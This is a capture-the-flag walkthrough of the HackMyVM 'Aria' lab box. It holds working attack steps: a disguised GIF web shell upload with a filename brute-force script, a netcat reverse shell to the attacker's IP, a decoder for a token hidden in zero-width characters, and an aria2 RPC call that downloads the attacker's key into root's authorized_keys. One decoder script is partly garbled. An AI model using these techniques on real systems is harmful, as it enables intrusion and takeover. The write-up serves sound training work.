05/10/25
ARIA
hackmyvm
بِسْمِ اللَّهِ الرَّحْمَنِ الرَّحِيمِ
Hey! A new machine means new things to learn - let's dive into this easy box and pick up some cool tricks!
Recon
to scan this machine we gonna use nmap
ζ nmap -sCV 192.168.138.122 -p-
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-05 16:47 EDT
Stats: 0:01:45 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 66.67% done; ETC: 16:50 (0:00:40 remaining)
Nmap scan report for 192.168.138.122
Host is up (0.028s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Ultra-Secure Naming Service
|_http-server-header: Apache/2.4.62 (Debian)
1337/tcp open waste?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, NULL, RPCCheck:
| --- Aria Debug Shell ---
| Type 'exit' to quit ---
```python
The results showed 3 open ports:
- port 22
- Port 80 (HTTP)
- Port 1337 (Unknown service) Waste????
## Web
I started interacting with the website. It’s an image upload site, so I tried common techniques to bypass the file extension restriction, but they didn’t work. Then I tested different headers for various image types like JPEG and GIF, and the GIF header (`GIF89a`) worked.
After finding the right header, I injected a simple web shell using `' >shell.gif
The problem now was to brute-force the file name to find the uploaded web shell. I tried manually retrieving the timestamp by manipulating JavaScript, editing the HTML, and experimenting in the browser console, but nothing worked. The brute-force script I wrote also failed. I then checked port 1337 while uploading to see if something appeared there, but nothing showed up.
So, I created a Python script to generate the payload and retrieve the correct timestamp automatically. I think that was the main issue with the first script because I had to provide the timestamp manually. This new script uploads the payload and brute-forces the URL until it finds the correct web shell location.
```python
import hashlib
import time
import requests
import threading
from queue import Queue
# ===== Configuration =====
upload_url = "http://192.168.138.122/upload.php"
base_url = "http://192.168.138.122/uploads/"
filename = "shell.gif"
threads = 10
stop_flag = threading.Event()
queue = Queue()
# ===== Upload file =====
payload_content = b'GIF89a\n'
with open(filename, "wb") as f:
f.write(payload_content)
upload_time = int(time.time())
with open(filename, "rb") as f:
files = {"file": (filename, f, "image/gif")}
requests.post(upload_url, files=files)
# ===== Bruteforce time =====
for t in range(upload_time - 1, upload_time + 2):
for rand_num in range(1, 1001):
md5_hash = hashlib.md5(f"{t}{rand_num}".encode()).hexdigest()
url = f"{base_url}{md5_hash}.gif"
queue.put(url)
# ===== Worker =====
def worker():
while not stop_flag.is_set():
try:
url = queue.get_nowait()
except:
break
try:
r = requests.get(url, timeout=2)
if r.status_code != 404:
print(url)
stop_flag.set()
exit(0) # Exit immediately when found
except:
pass
finally:
queue.task_done()
# ===== Start threads =====
thread_list = []
for _ in range(threads):
t = threading.Thread(target=worker)
t.start()
thread_list.append(t)
queue.join()
stop_flag.set()
```bash
When the script finds the URL for the GIF, stop it manually (Ctrl+C) since it won’t stop automatically.
After obtaining the web shell, we can set up a listener:
```bash
ζ curl http://192.168.138.122/uploads/fcaf664b8ea59a3ea0470d79fbbeae7f.gif\?commande\=busybox%20nc%20192.168.138.102%204444%20-e%20%2Fbin%2Fbash
Start a listener with Netcat:
ζ nc -vlnp 4444
listening on [any] 4444 ...
connect to [192.168.138.102] from (UNKNOWN) [192.168.138.122] 47320
whoami
www-data
We’re inside the machine as www-data. Next, we’ll check if we can escalate to the user.
By the way, we can already read the user flag with our current privileges.
I tried several times to see if there was any database or sensitive file that could lead to the user, but one thing stood out: a local service running on port 6800.
www-data@Aria:/var/www/html/uploads$ ss -nltp
ss -nltp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 5 0.0.0.0:1337 0.0.0.0:*
LISTEN 0 128 127.0.0.1:6800 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
LISTEN 0 128 *:80 *:*
LISTEN 0 128 [::1]:6800 [::]:*
When I ran ps aux, I saw /usr/bin/aria running as root:
www-data@Aria:/var/www/html/uploads$ ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 338 0.0 0.1 56660 3464 ? Ss 16:44 0:00 /usr/bin/aria
So, I decided to interact with aria2 using curl:
www-data@Aria:/home/aria$ curl -H "Content-Type: application/json" -d '{"jsonrpc":"2.0","id":"1","method":"aria2.getVersion"}' http://localhost:6800/jsonrpc
{"id":"1","jsonrpc":"2.0","error":{"code":1,"message":"Unauthorized"}}
We don’t have authorization, so we need a token or session. I suspected steganography might be involved, so I used xxd on several files and found something interesting in user.txt:
www-data@Aria:/home/aria$ which xxd
which xxd
/usr/bin/xxd
www-data@Aria:/home/aria$ xxd user.txt
xxd user.txt
00000000: 666c 6167 7b75 7365 722d 6431 3361 6461 flag{user-d13ada
00000010: 6463 3662 6263 3133 3931 3339 3461 3531 dc6bbc1391394a51
00000020: 3938 6362 6132 6431 6437 7d0a e280 8be2 98cba2d1d7}.....
00000030: 808c e280 8ce2 808c e280 8be2 808c e280 ................
00000040: 8be2 808b e280 8be2 808c e280 8ce2 808b ................
00000050: e280 8ce2 808c e280 8ce2 808c e280 8be2 ................
00000060: 808c e280 8ce2 808b e280 8ce2 808b e280 ................
00000070: 8ce2 808c e280 8be2 808c e280 8ce2 808b ................
00000080: e280 8be2 808c e280 8be2 808c e280 8be2 ................
00000090: 808c e280 8ce2 808b e280 8ce2 808c e280 ................
000000a0: 8ce2 808b e280 8be2 808b e280 8ce2 808c ................
000000b0: e280 8ce2 808b e280 8ce2 808b e280 8be2 ................
000000c0: 808b e280 8ce2 808b e280 8be2 808b e280 ................
000000d0: 8be2 808b e280 8be2 808c e280 8ce2 808b ................
000000e0: e280 8ce2 808c e280 8be2 808c e280 8be2 ................
000000f0: 808c e280 8ce2 808b e280 8be2 808b e280 ................
00000100: 8be2 808c e280 8be2 808c e280 8ce2 808c ................
00000110: e280 8ce2 808b e280 8ce2 808b e280 8be2 ................
00000120: 808c e280 8ce2 808b e280 8be2 808c e280 ................
00000130: 8be2 808c e280 8be2 808b e280 8ce2 808b ................
00000140: e280 8ce2 808c e280 8be2 808c e280 8be2 ................
00000150: 808c e280 8ce2 808c e280 8be2 808b e280 ................
00000160: 8ce2 808c e280 8be2 808c e280 8ce2 808b ................
00000170: e280 8be2 808c e280 8be2 808c e280 8be2 ................
00000180: 808c e280 8ce2 808b e280 8be2 808b e280 ................
00000190: 8ce2 808c ....
With some help from CHATGPT, I realized there were hidden characters in the flag (zero-width characters). Using stegzero.com didn’t work , so I wrote a script to decode Zero-Width Space (ZWSP) and Zero-Width Non-Joiner (ZWNJ) characters.
#!/usr/bin/env python3
# zw_decode.py
# Usage: python zw_decode.py input.txt
import sys
data = open(sys.argv[1], "rb").read() if len(sys.argv)>1 else sys.stdin.buffer.read()
# Find UTF-8 sequences for U+200B U+200C U+200D
seq = []
i = 0
while i '0', 0x8C -> '1', 0x8D -> separator
bits = []
for b in seq:
if b == 0x8B:
bits.append('0')
elif b == 0x8C:
bits.append('1')
def chunks(lst, n):
for i in range(0, len(lst), n):
yield lst[i:i+n]
# Decode the bits to text
out = []
for byte_bits in chunks(bits, 8):
if len(byte_bits) < 8:
break
val = int(''.join(byte_bits), 2)
out.append(val)
try:
decoded = bytes(out).decode('utf-8', errors='replace')
except:
decoded = repr(bytes(out))
print(decoded)
This script decodes the hidden message and reveals the token:
ζ python3 decode1.py user.txt
token: maze-sec
Now that we have the token, let’s go back to aria and use curl again. With this token, I tried overwriting /etc/passwd and creating a malicious SUID binary, but it didn’t work. Then I tried using my own attacker.pub as an authorized key and it worked.
www-data@Aria:/tmp$ curl -H "Content-Type: application/json" -H "Authorization: Bearer maze-sec" -X POST http://localhost:6800/jsonrpc -d '{"jsonrpc": "2.0", "id": "1", "method": "aria2.addUri", "params": ["token:maze-sec", ["http://192.168.138.102/attacker.pub"], {"dir": "/root/.ssh/", "out": "authorized_keys"}]}'
{"id":"1","jsonrpc":"2.0","result":"075d4bdd168c83e0"}
Before executing this command, set up a local web server hosting your SSH public key:
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.138.122 - - [05/Oct/2025 18:31:17] "GET /attacker.pub HTTP/1.1" 200 -
Finally, connect as root using your private key:
ζssh root@192.168.138.122 -i attacker
Linux Aria 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@Aria:~#
ROOTED

